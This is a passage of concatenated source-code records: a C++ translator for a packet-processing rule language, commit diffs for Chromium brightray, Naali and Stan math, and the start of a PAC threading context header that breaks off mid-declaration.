exprs;\n    int i;\n    \n    match_list(e, &action_name);\n    \n    if(*action_name == \"advance\") {\n      expr* amount;\n      match_list(e, \"advance\", &amount);\n      return cxt.make_advance_action(amount);\n    }\n    \n    if(*action_name == \"copy\") {\n      expr* src;\n      expr* dst;\n      expr* n;\n      match_list(e, \"copy\", &src, &dst, &n);\n      \n      \/\/ TODO: Use libcc diagnostics.\n      if(!dynamic_cast<bitfield_expr*>(src))\n\tthrow std::runtime_error(\"Source in copy action does not have location type.\\n\");\n      if(!dynamic_cast<bitfield_expr*>(dst))\n\tthrow std::runtime_error(\"Destination in copy action does not have location type.\\n\");\n      if(!(dynamic_cast<int_expr*>(n)))\n\tthrow std::runtime_error(\"Length of copy must be of type int.\\n\");\n\n      return cxt.make_copy_action(src, dst, n);\n    }\n    \n    if(*action_name == \"set\") {\n      expr* f;\n      expr* v;\n      match_list(e, \"set\", &f, &v);\n      return cxt.make_set_action(f, v);\n    }\n    \n    if(*action_name == \"write\") {\n      action* a;\n      match_list(e, \"write\", &a);\n      \n      return cxt.make_write_action(a);\n    }\n    \n    if(*action_name == \"clear\") {\n      return cxt.make_clear_action();\n    }\n\n    if(*action_name == \"drop\") {\n      return cxt.make_drop_action();\n    }\n\n    if(*action_name == \"match\") {\n      return cxt.make_match_action();\n    }\n\n    if(*action_name == \"goto\") {\n      expr* dst;\n      match_list(e, \"goto\", &dst);\n\n      return cxt.make_goto_action(dst);\n    }\n    \n    if(*action_name == \"output\") {\n      expr* dst;\n      match_list(e, \"output\", &dst);\n      \n      return cxt.make_output_action(dst);\n    }\n    \n    sexpr::throw_unexpected_term(e);\n  }\n  \n  expr*\n  translator::trans_expr(const sexpr::expr* e)\n  {\n    \/\/ Match phrases.\n    if (const sexpr::list_expr* list = as<sexpr::list_expr>(e)) {\n      symbol* sym;\n      match_list(list, &sym);\n\n      auto it = expression_symbols.find(sym);\n\n      if(it == expression_symbols.end())\n\tthrow std::logic_error(\"Invalid expression.\");\n\n      switch(it->second) {\n      case es_int:\n\treturn trans_int_expr(list);\n      \n      case es_wildcard:\n\treturn trans_wild_expr(list);\n      case es_range:\n\treturn trans_range_expr(list);\n      case es_port:\n\treturn trans_port_expr(list);\n      case es_bitfield:\n\treturn trans_bitfield_expr(list);\n      case es_miss:\n\treturn trans_miss_expr();\n      case es_named_field:\n\treturn trans_named_field_expr(list);\n      }\n    }\n  }\n  \n  expr_seq\n  translator::trans_exprs(const sexpr::expr* e)\n  {\n    if (const sexpr::list_expr* list = as<sexpr::list_expr>(e)) {\n      expr_seq exprs;\n      for (const sexpr::expr* elem : list->exprs) {\n\texpr* e = trans_expr(elem);\n\texprs.push_back(e);\n      }\n      return exprs;\n    }\n    sexpr::throw_unexpected_term(e);\n  }\n  \n  expr*\n  translator::trans_range_expr(const sexpr::list_expr* e)\n  {\n    expr* lo;\n    expr* hi;\n    match_list(e, \"range\", &lo, &hi);\n    \n    auto lo_expr = as<int_expr>(lo);\n    auto hi_expr = as<int_expr>(hi);\n    \n    auto lo_val = lo_expr->val;\n    auto hi_val = hi_expr->val;\n    \n    auto lo_ty = static_cast<int_type*>(lo_expr->ty);\n    auto hi_ty = static_cast<int_type*>(hi_expr->ty);\n    \n    if(lo_ty->width == hi_ty->width)\n      return cxt.make_range_expr(new range_type(\n\t\t\t\t   new int_type(lo_ty->width)), lo_val, hi_val);\n    \/\/TODO: proper diagnostic\n    std::stringstream ss;\n    ss << \"Width of range arguments not equal: \" << lo_ty->width << \", and \"\n       << hi_ty->width << \"\\n\";\n    throw std::runtime_error(ss.str().c_str());\n  }\n  \n  expr*\n  translator::trans_wild_expr(const sexpr::list_expr* e)\n  {\n  }\n  \n  expr*\n  translator::trans_miss_expr()\n  {\n    return cxt.make_miss_expr(new int_type(64));\n  }\n  \n  expr*\n  translator::trans_ref_expr(const sexpr::id_expr* e)\n  {\n  }\n  \n  expr*\n  translator::trans_named_field_expr(const sexpr::list_expr* e)\n  {\n    symbol* field;\n    match_list(e, \"named_field\", &field);\n   \n    return field_decoder.decode_named_field(\n      static_cast<named_field_expr*>(cxt.make_named_field_expr(new loc_type, field)));\n  }\n  \n  expr*\n  translator::trans_port_expr(const sexpr::list_expr* e)\n  {\n    expr* port;\n    match_list(e, \"port\", &port);\n\n    if(get_kind(port) != ek_int && get_kind(port) != ek_bitfield) {\n      throw std::logic_error(\"Invalid type for port value.\\n\");\n    }\n    \n    return cxt.make_port_expr(new port_type, port);\n  }\n  \n  expr*\n  translator::trans_bitfield_expr(const sexpr::list_expr* e)\n  {\n    symbol* space;\n    expr* pos;\n    expr* len;\n    \n    match_list(e, \"bitfield\", &space, &pos, &len);\n\n    address_space as;\n    auto it = address_spaces.find(space);\n    if(it != address_spaces.end())\n      as = it->second;\n    else\n      throw std::logic_error(\"Invalid address space.\");\n    \n    return cxt.make_bitfield_expr(as, pos, len);\n  }\n  \n  \/\/ When given an integer width specifier, such as i32,\n  \/\/ return the integer after the i. In this case, 32.\n  static int\n  deduce_int_type_width(const symbol* ty)\n  {\n    std::string spec = *ty;\n    \n    if(spec.front() == 'i') {\n      spec.erase(0, 1);\n      \n      std::size_t it;\n      auto width = std::stoi(spec.c_str(), &it);\n      \n      if(spec.size() == it)\n\treturn width;\n    }\n    \n    std::stringstream ss;\n    ss << \"Invalid integer width specifier: \" << *ty <<\n      \". Specifier should be of form i[integer].\\n\";\n    throw std::runtime_error(ss.str().c_str());\n  }\n  \n  expr*\n  translator::trans_int_expr(const sexpr::list_expr* e)\n  {\n    symbol* width_specifier;\n    int value;\n    match_list(e, \"int\", &width_specifier, &value);\n    \n    int w = deduce_int_type_width(width_specifier);\n    \n    return cxt.make_int_expr( new int_type(w), value );    \n  }\n  \n  \/\/ -------------------------------------------------------------------------- \/\/\n  \/\/ Matching\n  \n  void \n  translator::match(const sexpr::list_expr* list, int n, decl_seq* decls)\n  {\n    *decls = trans_decls(get(list, n));\n  }\n  \n  void \n  translator::match(const sexpr::list_expr* list, int n, rule_seq* rules)\n  {\n    *rules = trans_rules(get(list, n));\n  }\n  \n  void \n  translator::match(const sexpr::list_expr* list, int n, expr_seq* exprs)\n  {\n    *exprs = trans_exprs(get(list, n));\n  }\n  \n  void\n  translator::match(const sexpr::list_expr* list, int n, expr** out)\n  {\n    *out = trans_expr(get(list, n));\n  }\n  \n  void \n  translator::match(const sexpr::list_expr* list, int n, action_seq* actions)\n  {\n    *actions = trans_actions(get(list, n));\n  }\n  \n  void \n  translator::match(const sexpr::list_expr* list, int n, action** a)\n  {\n    *a = trans_action(list);\n  }\n} \/\/ namespace pip\n<|endoftext|>"}
{"text":"<commit_before>\/\/ Copyright (c) 2014 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE-CHROMIUM file.\n\n#include \"browser\/views\/views_delegate.h\"\n\n#include \"ui\/views\/widget\/desktop_aura\/desktop_native_widget_aura.h\"\n\n#if defined(OS_LINUX)\n#include \"ui\/views\/linux_ui\/linux_ui.h\"\n#endif\n\nnamespace brightray {\n\nViewsDelegate::ViewsDelegate() {\n  DCHECK(!views::ViewsDelegate::views_delegate);\n  views::ViewsDelegate::views_delegate = this;\n}\n\nViewsDelegate::~ViewsDelegate() {\n  DCHECK_EQ(views::ViewsDelegate::views_delegate, this);\n  views::ViewsDelegate::views_delegate = NULL;\n}\n\nvoid ViewsDelegate::SaveWindowPlacement(const views::Widget* window,\n                                        const std::string& window_name,\n                                        const gfx::Rect& bounds,\n                                        ui::WindowShowState show_state) {\n}\n\nbool ViewsDelegate::GetSavedWindowPlacement(\n    const views::Widget* widget,\n    const std::string& window_name,\n    gfx::Rect* bounds,\n    ui::WindowShowState* show_state) const {\n  return false;\n}\n\nvoid ViewsDelegate::NotifyAccessibilityEvent(\n    views::View* view, ui::AXEvent event_type) {\n}\n\nvoid ViewsDelegate::NotifyMenuItemFocused(\n    const base::string16& menu_name,\n    const base::string16& menu_item_name,\n    int item_index,\n    int item_count,\n    bool has_submenu) {\n}\n\n#if defined(OS_WIN)\nHICON ViewsDelegate::GetDefaultWindowIcon() const {\n  \/\/ Use current exe's icon as default window icon.\n  return LoadIcon(GetModuleHandle(NULL), MAKEINTRESOURCE(1  \/* IDR_MAINFRAME *\/));\n}\n\nHICON ViewsDelegate::GetSmallWindowIcon() const {\n  return GetDefaultWindowIcon();\n}\n\nbool ViewsDelegate::IsWindowInMetro(gfx::NativeWindow window) const {\n  return false;\n}\n\n#elif defined(OS_LINUX) && !defined(OS_CHROMEOS)\ngfx::ImageSkia* ViewsDelegate::GetDefaultWindowIcon() const {\n  return NULL;\n}\n#endif\n\nviews::NonClientFrameView* ViewsDelegate::CreateDefaultNonClientFrameView(\n    views::Widget* widget) {\n  return NULL;\n}\n\nvoid ViewsDelegate::AddRef() {\n}\n\nvoid ViewsDelegate::ReleaseRef() {\n}\n\ncontent::WebContents* ViewsDelegate::CreateWebContents(\n    content::BrowserContext* browser_context,\n    content::SiteInstance* site_instance) {\n  return NULL;\n}\n\nvoid ViewsDelegate::OnBeforeWidgetInit(\n    views::Widget::InitParams* params,\n    views::internal::NativeWidgetDelegate* delegate) {\n  \/\/ If we already have a native_widget, we don't have to try to come\n  \/\/ up with one.\n  if (params->native_widget)\n    return;\n\n  \/\/ The native_widget is required when using aura.\n  if (params->type == views::Widget::InitParams::TYPE_MENU ||\n      (params->parent == NULL && params->context == NULL && !params->child))\n    params->native_widget = new views::DesktopNativeWidgetAura(delegate);\n}\n\n\nbase::TimeDelta ViewsDelegate::GetDefaultTextfieldObscuredRevealDuration() {\n  return base::TimeDelta();\n}\n\nbool ViewsDelegate::WindowManagerProvidesTitleBar(bool maximized) {\n#if defined(OS_LINUX)\n  \/\/ On Ubuntu Unity, the system always provides a title bar for maximized\n  \/\/ windows.\n  views::LinuxUI* ui = views::LinuxUI::instance();\n  return maximized && ui && ui->UnityIsRunning();\n#else\n  return false;\n#endif\n}\n\n}  \/\/ namespace brightray\n<commit_msg>Fix API changes on Linux<commit_after>\/\/ Copyright (c) 2014 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE-CHROMIUM file.\n\n#include \"browser\/views\/views_delegate.h\"\n\n#include \"ui\/views\/widget\/desktop_aura\/desktop_native_widget_aura.h\"\n\n#if defined(OS_LINUX)\n#include \"ui\/views\/linux_ui\/linux_ui.h\"\n#endif\n\nnamespace brightray {\n\nViewsDelegate::ViewsDelegate() {\n}\n\nViewsDelegate::~ViewsDelegate() {\n}\n\nvoid ViewsDelegate::SaveWindowPlacement(const views::Widget* window,\n                                        const std::string& window_name,\n                                        const gfx::Rect& bounds,\n                                        ui::WindowShowState show_state) {\n}\n\nbool ViewsDelegate::GetSavedWindowPlacement(\n    const views::Widget* widget,\n    const std::string& window_name,\n    gfx::Rect* bounds,\n    ui::WindowShowState* show_state) const {\n  return false;\n}\n\nvoid ViewsDelegate::NotifyAccessibilityEvent(\n    views::View* view, ui::AXEvent event_type) {\n}\n\nvoid ViewsDelegate::NotifyMenuItemFocused(\n    const base::string16& menu_name,\n    const base::string16& menu_item_name,\n    int item_index,\n    int item_count,\n    bool has_submenu) {\n}\n\n#if defined(OS_WIN)\nHICON ViewsDelegate::GetDefaultWindowIcon() const {\n  \/\/ Use current exe's icon as default window icon.\n  return LoadIcon(GetModuleHandle(NULL), MAKEINTRESOURCE(1  \/* IDR_MAINFRAME *\/));\n}\n\nHICON ViewsDelegate::GetSmallWindowIcon() const {\n  return GetDefaultWindowIcon();\n}\n\nbool ViewsDelegate::IsWindowInMetro(gfx::NativeWindow window) const {\n  return false;\n}\n\n#elif defined(OS_LINUX) && !defined(OS_CHROMEOS)\ngfx::ImageSkia* ViewsDelegate::GetDefaultWindowIcon() const {\n  return NULL;\n}\n#endif\n\nviews::NonClientFrameView* ViewsDelegate::CreateDefaultNonClientFrameView(\n    views::Widget* widget) {\n  return NULL;\n}\n\nvoid ViewsDelegate::AddRef() {\n}\n\nvoid ViewsDelegate::ReleaseRef() {\n}\n\ncontent::WebContents* ViewsDelegate::CreateWebContents(\n    content::BrowserContext* browser_context,\n    content::SiteInstance* site_instance) {\n  return NULL;\n}\n\nvoid ViewsDelegate::OnBeforeWidgetInit(\n    views::Widget::InitParams* params,\n    views::internal::NativeWidgetDelegate* delegate) {\n  \/\/ If we already have a native_widget, we don't have to try to come\n  \/\/ up with one.\n  if (params->native_widget)\n    return;\n\n  \/\/ The native_widget is required when using aura.\n  if (params->type == views::Widget::InitParams::TYPE_MENU ||\n      (params->parent == NULL && params->context == NULL && !params->child))\n    params->native_widget = new views::DesktopNativeWidgetAura(delegate);\n}\n\n\nbase::TimeDelta ViewsDelegate::GetDefaultTextfieldObscuredRevealDuration() {\n  return base::TimeDelta();\n}\n\nbool ViewsDelegate::WindowManagerProvidesTitleBar(bool maximized) {\n#if defined(OS_LINUX)\n  \/\/ On Ubuntu Unity, the system always provides a title bar for maximized\n  \/\/ windows.\n  views::LinuxUI* ui = views::LinuxUI::instance();\n  return maximized && ui && ui->UnityIsRunning();\n#else\n  return false;\n#endif\n}\n\n}  \/\/ namespace brightray\n<|endoftext|>"}
{"text":"<commit_before>\/**\n *  For conditions of distribution and use, see copyright notice in license.txt\n *\n *  @file   ScriptMetaTypeDefines.cpp\n *  @brief  Registration of Naali Core API to Javascript.\n *\/\n\n#include \"StableHeaders.h\"\n#include \"DebugOperatorNew.h\"\n#include \"ScriptMetaTypeDefines.h\"\n\n#include \"Entity.h\"\n#include \"KeyEvent.h\"\n#include \"MouseEvent.h\"\n#include \"UiProxyWidget.h\"\n#include \"Frame.h\"\n#include \"Console.h\"\n#include \"ISoundService.h\"\n\n#include \"EntityAction.h\"\n\n#include <QUiLoader>\n#include <QFile>\n#include \"MemoryLeakCheck.h\"\n\n\/\/! Qt defines\nQ_SCRIPT_DECLARE_QMETAOBJECT(QPushButton, QWidget*)\nQ_SCRIPT_DECLARE_QMETAOBJECT(QWidget, QWidget*)\n\n\/\/\/\\todo Remove these two and move to Input API once NaaliCore is merged.\n\/\/! Naali input defines\nQ_DECLARE_METATYPE(MouseEvent*)\nQ_DECLARE_METATYPE(KeyEvent*)\n\n\/\/! Naali Ui defines\nQ_DECLARE_METATYPE(UiProxyWidget*);\nQ_SCRIPT_DECLARE_QMETAOBJECT(UiProxyWidget, QWidget*)\n\n\/\/! Naali Scene defines.\nQ_DECLARE_METATYPE(Scene::Entity*);\nQ_DECLARE_METATYPE(EntityAction*);\nQ_DECLARE_METATYPE(AttributeChange*);\nQ_DECLARE_METATYPE(IComponent*);\nQ_DECLARE_METATYPE(AttributeChange::Type);\n\n\/\/! Naali core API object defines.\nQ_DECLARE_METATYPE(Frame*);\nQ_DECLARE_METATYPE(ScriptConsole*);\nQ_DECLARE_METATYPE(Command*);\nQ_DECLARE_METATYPE(DelayedSignal*);\n\nvoid ExposeQtMetaTypes(QScriptEngine *engine)\n{\n    QScriptValue object = engine->scriptValueFromQMetaObject<QPushButton>();\n    engine->globalObject().setProperty(\"QPushButton\", object);\n    object = engine->scriptValueFromQMetaObject<QWidget>();\n    engine->globalObject().setProperty(\"QWidget\", object);\n}\n\nvoid ExposeCoreApiMetaTypes(QScriptEngine *engine)\n{\n    \/\/ Input metatypes.\n    qScriptRegisterQObjectMetaType<MouseEvent*>(engine);\n    qScriptRegisterQObjectMetaType<KeyEvent*>(engine);\n    qRegisterMetaType<KeyEvent::EventType>(\"KeyEvent::EventType\");\n    qRegisterMetaType<MouseEvent::EventType>(\"MouseEvent::EventType\");\n    qRegisterMetaType<MouseEvent::MouseButton>(\"MouseEvent::MouseButton\");\n\n    \/\/ Scene metatypes.\n    qScriptRegisterQObjectMetaType<Scene::Entity*>(engine);\n    qScriptRegisterQObjectMetaType<EntityAction*>(engine);\n    qScriptRegisterQObjectMetaType<AttributeChange*>(engine);\n    qScriptRegisterQObjectMetaType<IComponent*>(engine);\n    \/\/qRegisterMetaType<AttributeChange::Type>(\"AttributeChange::Type\");\n    qScriptRegisterMetaType(engine, toScriptValueEnum<AttributeChange::Type>, fromScriptValueEnum<AttributeChange::Type>);\n    qRegisterMetaType<EntityAction::ExecutionType>(\"EntityAction::ExecutionType\");\n\n    \/\/ Console metatypes.\n    qScriptRegisterQObjectMetaType<ScriptConsole*>(engine);\n    qScriptRegisterQObjectMetaType<Command*>(engine);\n\n    \/\/ Frame metatypes.\n    qScriptRegisterQObjectMetaType<Frame*>(engine);\n    qScriptRegisterQObjectMetaType<DelayedSignal*>(engine);\n\n    \/\/ Ui metatypes.\n    qScriptRegisterQObjectMetaType<UiProxyWidget*>(engine);\n    qScriptRegisterQObjectMetaType<QGraphicsScene*>(engine);\n    \/\/Add support to create proxy widgets in javascript side.\n    QScriptValue object = engine->scriptValueFromQMetaObject<UiProxyWidget>();\n    engine->globalObject().setProperty(\"UiProxyWidget\", object);\n    \n    \/\/ Sound metatypes.\n    qRegisterMetaType<sound_id_t>(\"sound_id_t\");\n    qRegisterMetaType<ISoundService::SoundState>(\"SoundState\");\n    qRegisterMetaType<ISoundService::SoundState>(\"ISoundService::SoundState\");\n    qRegisterMetaType<ISoundService::SoundType>(\"SoundType\");\n    qRegisterMetaType<ISoundService::SoundType>(\"ISoundService::SoundType\");\n}\n\n\n<commit_msg>Expose\/register EntityAction::ExecutionType enum to js.<commit_after>\/**\n *  For conditions of distribution and use, see copyright notice in license.txt\n *\n *  @file   ScriptMetaTypeDefines.cpp\n *  @brief  Registration of Naali Core API to Javascript.\n *\/\n\n#include \"StableHeaders.h\"\n#include \"DebugOperatorNew.h\"\n#include \"ScriptMetaTypeDefines.h\"\n\n#include \"Entity.h\"\n#include \"KeyEvent.h\"\n#include \"MouseEvent.h\"\n#include \"UiProxyWidget.h\"\n#include \"Frame.h\"\n#include \"Console.h\"\n#include \"ISoundService.h\"\n\n#include \"EntityAction.h\"\n\n#include <QUiLoader>\n#include <QFile>\n#include \"MemoryLeakCheck.h\"\n\n\/\/! Qt defines\nQ_SCRIPT_DECLARE_QMETAOBJECT(QPushButton, QWidget*)\nQ_SCRIPT_DECLARE_QMETAOBJECT(QWidget, QWidget*)\n\n\/\/\/\\todo Remove these two and move to Input API once NaaliCore is merged.\n\/\/! Naali input defines\nQ_DECLARE_METATYPE(MouseEvent*)\nQ_DECLARE_METATYPE(KeyEvent*)\n\n\/\/! Naali Ui defines\nQ_DECLARE_METATYPE(UiProxyWidget*);\nQ_SCRIPT_DECLARE_QMETAOBJECT(UiProxyWidget, QWidget*)\n\n\/\/! Naali Scene defines.\nQ_DECLARE_METATYPE(Scene::Entity*);\nQ_DECLARE_METATYPE(EntityAction*);\nQ_DECLARE_METATYPE(EntityAction::ExecutionType);\nQ_DECLARE_METATYPE(AttributeChange*);\nQ_DECLARE_METATYPE(IComponent*);\nQ_DECLARE_METATYPE(AttributeChange::Type);\n\n\/\/! Naali core API object defines.\nQ_DECLARE_METATYPE(Frame*);\nQ_DECLARE_METATYPE(ScriptConsole*);\nQ_DECLARE_METATYPE(Command*);\nQ_DECLARE_METATYPE(DelayedSignal*);\n\nvoid ExposeQtMetaTypes(QScriptEngine *engine)\n{\n    QScriptValue object = engine->scriptValueFromQMetaObject<QPushButton>();\n    engine->globalObject().setProperty(\"QPushButton\", object);\n    object = engine->scriptValueFromQMetaObject<QWidget>();\n    engine->globalObject().setProperty(\"QWidget\", object);\n}\n\nvoid ExposeCoreApiMetaTypes(QScriptEngine *engine)\n{\n    \/\/ Input metatypes.\n    qScriptRegisterQObjectMetaType<MouseEvent*>(engine);\n    qScriptRegisterQObjectMetaType<KeyEvent*>(engine);\n    qRegisterMetaType<KeyEvent::EventType>(\"KeyEvent::EventType\");\n    qRegisterMetaType<MouseEvent::EventType>(\"MouseEvent::EventType\");\n    qRegisterMetaType<MouseEvent::MouseButton>(\"MouseEvent::MouseButton\");\n\n    \/\/ Scene metatypes.\n    qScriptRegisterQObjectMetaType<Scene::Entity*>(engine);\n    qScriptRegisterQObjectMetaType<EntityAction*>(engine);\n    qScriptRegisterQObjectMetaType<AttributeChange*>(engine);\n    qScriptRegisterQObjectMetaType<IComponent*>(engine);\n    \/\/qRegisterMetaType<AttributeChange::Type>(\"AttributeChange::Type\");\n    qScriptRegisterMetaType(engine, toScriptValueEnum<AttributeChange::Type>, fromScriptValueEnum<AttributeChange::Type>);\n    \/\/qRegisterMetaType<EntityAction::ExecutionType>(\"EntityAction::ExecutionType\");\n    qScriptRegisterMetaType(engine, toScriptValueEnum<EntityAction::ExecutionType>, fromScriptValueEnum<EntityAction::ExecutionType>);\n\n    \/\/ Console metatypes.\n    qScriptRegisterQObjectMetaType<ScriptConsole*>(engine);\n    qScriptRegisterQObjectMetaType<Command*>(engine);\n\n    \/\/ Frame metatypes.\n    qScriptRegisterQObjectMetaType<Frame*>(engine);\n    qScriptRegisterQObjectMetaType<DelayedSignal*>(engine);\n\n    \/\/ Ui metatypes.\n    qScriptRegisterQObjectMetaType<UiProxyWidget*>(engine);\n    qScriptRegisterQObjectMetaType<QGraphicsScene*>(engine);\n    \/\/Add support to create proxy widgets in javascript side.\n    QScriptValue object = engine->scriptValueFromQMetaObject<UiProxyWidget>();\n    engine->globalObject().setProperty(\"UiProxyWidget\", object);\n    \n    \/\/ Sound metatypes.\n    qRegisterMetaType<sound_id_t>(\"sound_id_t\");\n    qRegisterMetaType<ISoundService::SoundState>(\"SoundState\");\n    qRegisterMetaType<ISoundService::SoundState>(\"ISoundService::SoundState\");\n    qRegisterMetaType<ISoundService::SoundType>(\"SoundType\");\n    qRegisterMetaType<ISoundService::SoundType>(\"ISoundService::SoundType\");\n}\n\n\n<|endoftext|>"}
{"text":"<commit_before>#ifndef STAN_MATH_PRIM_SCAL_FUN_LGAMMA_HPP\n#define STAN_MATH_PRIM_SCAL_FUN_LGAMMA_HPP\n\n#if _POSIX_C_SOURCE >= 199506L \n#include <cmath>\n#else\n#include <stan\/math\/prim\/meta.hpp>\n#include <stan\/math\/prim\/scal\/fun\/boost_policy.hpp>\n#include <boost\/math\/special_functions\/gamma.hpp>\n#include <limits>\n#endif\n\nnamespace stan {\nnamespace math {\n\n\/**\n * Return the natural logarithm of the gamma function applied to\n * the specified argument.\n *\n   \\f[\n   \\mbox{lgamma}(x) =\n   \\begin{cases}\n     \\textrm{error} & \\mbox{if } x\\in \\{\\dots, -3, -2, -1, 0\\}\\\\\n     \\ln\\Gamma(x) & \\mbox{if } x\\not\\in \\{\\dots, -3, -2, -1, 0\\}\\\\[6pt]\n     \\textrm{NaN} & \\mbox{if } x = \\textrm{NaN}\n   \\end{cases}\n   \\f]\n\n   \\f[\n   \\frac{\\partial\\, \\mbox{lgamma}(x)}{\\partial x} =\n   \\begin{cases}\n     \\textrm{error} & \\mbox{if } x\\in \\{\\dots, -3, -2, -1, 0\\}\\\\\n     \\Psi(x) & \\mbox{if } x\\not\\in \\{\\dots, -3, -2, -1, 0\\}\\\\[6pt]\n     \\textrm{NaN} & \\mbox{if } x = \\textrm{NaN}\n   \\end{cases}\n\\f]\n*\n* @param x argument\n* @return natural logarithm of the gamma function applied to\n* argument\n*\/\ninline double lgamma(double x) {\n#if _POSIX_C_SOURCE >= 199506L \n  int sign = 0;\n  return lgamma_r(x, &sign);\n#else\n  if (unlikely(x == 0.0))\n    return std::numeric_limits<double>::infinity();\n  return boost::math::lgamma(x, boost_policy_t());\n#endif\n}\n\n\/**\n * Return the natural logarithm of the gamma function applied\n * to the specified argument.\n *\n * @param x argument\n * @return natural logarithm of the gamma function applied to\n * argument\n *\/\ninline double lgamma(int x) {\n#if _POSIX_C_SOURCE >= 199506L \n  int sign = 0;\n  return lgamma_r(x, &sign);\n#else\n  if (unlikely(x == 0.0))\n    return std::numeric_limits<double>::infinity();\n  return boost::math::lgamma(x, boost_policy_t());\n#endif\n}\n\n}  \/\/ namespace math\n}  \/\/ namespace stan\n#endif\n<commit_msg>[Jenkins] auto-formatting by clang-format version 6.0.0 (tags\/google\/stable\/2017-11-14)<commit_after>#ifndef STAN_MATH_PRIM_SCAL_FUN_LGAMMA_HPP\n#define STAN_MATH_PRIM_SCAL_FUN_LGAMMA_HPP\n\n#if _POSIX_C_SOURCE >= 199506L\n#include <cmath>\n#else\n#include <stan\/math\/prim\/meta.hpp>\n#include <stan\/math\/prim\/scal\/fun\/boost_policy.hpp>\n#include <boost\/math\/special_functions\/gamma.hpp>\n#include <limits>\n#endif\n\nnamespace stan {\nnamespace math {\n\n\/**\n * Return the natural logarithm of the gamma function applied to\n * the specified argument.\n *\n   \\f[\n   \\mbox{lgamma}(x) =\n   \\begin{cases}\n     \\textrm{error} & \\mbox{if } x\\in \\{\\dots, -3, -2, -1, 0\\}\\\\\n     \\ln\\Gamma(x) & \\mbox{if } x\\not\\in \\{\\dots, -3, -2, -1, 0\\}\\\\[6pt]\n     \\textrm{NaN} & \\mbox{if } x = \\textrm{NaN}\n   \\end{cases}\n   \\f]\n\n   \\f[\n   \\frac{\\partial\\, \\mbox{lgamma}(x)}{\\partial x} =\n   \\begin{cases}\n     \\textrm{error} & \\mbox{if } x\\in \\{\\dots, -3, -2, -1, 0\\}\\\\\n     \\Psi(x) & \\mbox{if } x\\not\\in \\{\\dots, -3, -2, -1, 0\\}\\\\[6pt]\n     \\textrm{NaN} & \\mbox{if } x = \\textrm{NaN}\n   \\end{cases}\n\\f]\n*\n* @param x argument\n* @return natural logarithm of the gamma function applied to\n* argument\n*\/\ninline double lgamma(double x) {\n#if _POSIX_C_SOURCE >= 199506L\n  int sign = 0;\n  return lgamma_r(x, &sign);\n#else\n  if (unlikely(x == 0.0))\n    return std::numeric_limits<double>::infinity();\n  return boost::math::lgamma(x, boost_policy_t());\n#endif\n}\n\n\/**\n * Return the natural logarithm of the gamma function applied\n * to the specified argument.\n *\n * @param x argument\n * @return natural logarithm of the gamma function applied to\n * argument\n *\/\ninline double lgamma(int x) {\n#if _POSIX_C_SOURCE >= 199506L\n  int sign = 0;\n  return lgamma_r(x, &sign);\n#else\n  if (unlikely(x == 0.0))\n    return std::numeric_limits<double>::infinity();\n  return boost::math::lgamma(x, boost_policy_t());\n#endif\n}\n\n}  \/\/ namespace math\n}  \/\/ namespace stan\n#endif\n<|endoftext|>"}
{"text":"<commit_before>\/*\n * This file is part of PAC\n *\n * PAC is free software: you can redistribute it and\/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * PAC is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with PAC.  If not, see <http:\/\/www.gnu.org\/licenses\/>.\n *\n *\/\n\n\/*\n * context.hpp\n *\n * Author: Brian Fransioli\n * Created: Mon Mar 10 17:30:53 KST 2014\n * Last modified: Tue Mar 18 17:49:53 KST 2014\n *\/\n\n#ifndef PAC_CONTEXT_HPP\n#define PAC_CONTEXT_HPP\n\n#include \"runnable.hpp\"\n#include \"signal.hpp\"\n\n#include <memory>\n#include <thread>\n#include <condition_variable>\n#include <mutex>\n#include <vector>\n#include <map>\n#include <list>\n#include <algorithm>\n#include <atomic>\n\nnamespace pac {\n\nclass context\n{\npublic:\n\tusing runnable_ptr = std::shared_ptr< runnable >;\n\tusing runnable_cont = std::list< runnable_ptr >;\n\tusing runnable_iter = typename runnable_cont::iterator;\n\n\tusing context_id = std::size_t;\n\tusing context_ptr = std::shared_ptr< context >;\n\n\tusing thread_id = std::thread::id;\n\nprivate:\n\trunnable_cont runnables;\n\tcontext_id cid;\n\tthread_id tid;\n\npublic:\n\tcontext()\n\t\t: runnables{}, cid{}, tid{}\n\t{}\n\n\tstatic context_ptr create()\n\t{\n\t\treturn std::make_shared<context>();\n\t}\n\n\trunnable_ptr next_runnable()\n\t{\n\t\tif ( runnables.empty() )\n\t\t\treturn {};\n\n\t\tauto run = runnables.front();\n\t\trunnables.pop_front();\n\n\t\treturn run;\n\t}\n\n\tstd::size_t runnable_count()\n\t{\n\t\treturn runnables.size();\n\t}\n\n\tvoid add_runnable( runnable_ptr run )\n\t{\n\t\trunnables.push_back( run );\n\t}\n\n\ttemplate<class Callback, class... Args>\n\tvoid add_callback( Callback callback, Args&&... args )\n\t{\n\t\trunnable_ptr run =\n\t\t\tstd::make_shared<runnable>( callback, std::forward<Args>(args)... );\n\n\t\trun->set_once();\n\t\tadd_runnable( run );\n\t}\n\n\tvoid reset()\n\t{\n\t\trunnables.clear();\n\t}\n\n\tvoid set_thread_id( thread_id id )\n\t{\n\t\ttid = id;\n\t}\n\n\tvoid set_thread_id()\n\t{\n\t\ttid = std::this_thread::get_id();\n\t}\n\n\tthread_id get_thread_id() const\n\t{\n\t\treturn tid;\n\t}\n\n\tstatic thread_id current_thread_id()\n\t{\n\t\treturn std::this_thread::get_id();\n\t}\n};\n\nstruct context_invoker\n{\n\tusing context_ptr = context::context_ptr;\n\n\tcontext_ptr ctxt;\n\n\tcontext_invoker( context_ptr c )\n\t\t: ctxt(c)\n\t{\n\t\tctxt->set_thread_id();\n\t}\n\n\tbool iterate()\n\t{\n\t\tauto nextrun = ctxt->next_runnable();\n\n\t\tif (!nextrun)\n\t\t\treturn false;\n\n\t\tauto res = nextrun->run();\n\n\t\tif ( res == runnable_status::CONTINUING )\n\t\t\tctxt->add_runnable( nextrun );\n\n\t\treturn true;\n\t}\n\n};\n\nclass toe\n{\n\tusing context_ptr = context::context_ptr;\n\n\tcontext_ptr ctxt;\n\tstd::mutex mutex;\n\tstd::atomic<bool> pauseme;\n\tstd::atomic<bool> quitme;\n\tstd::condition_variable 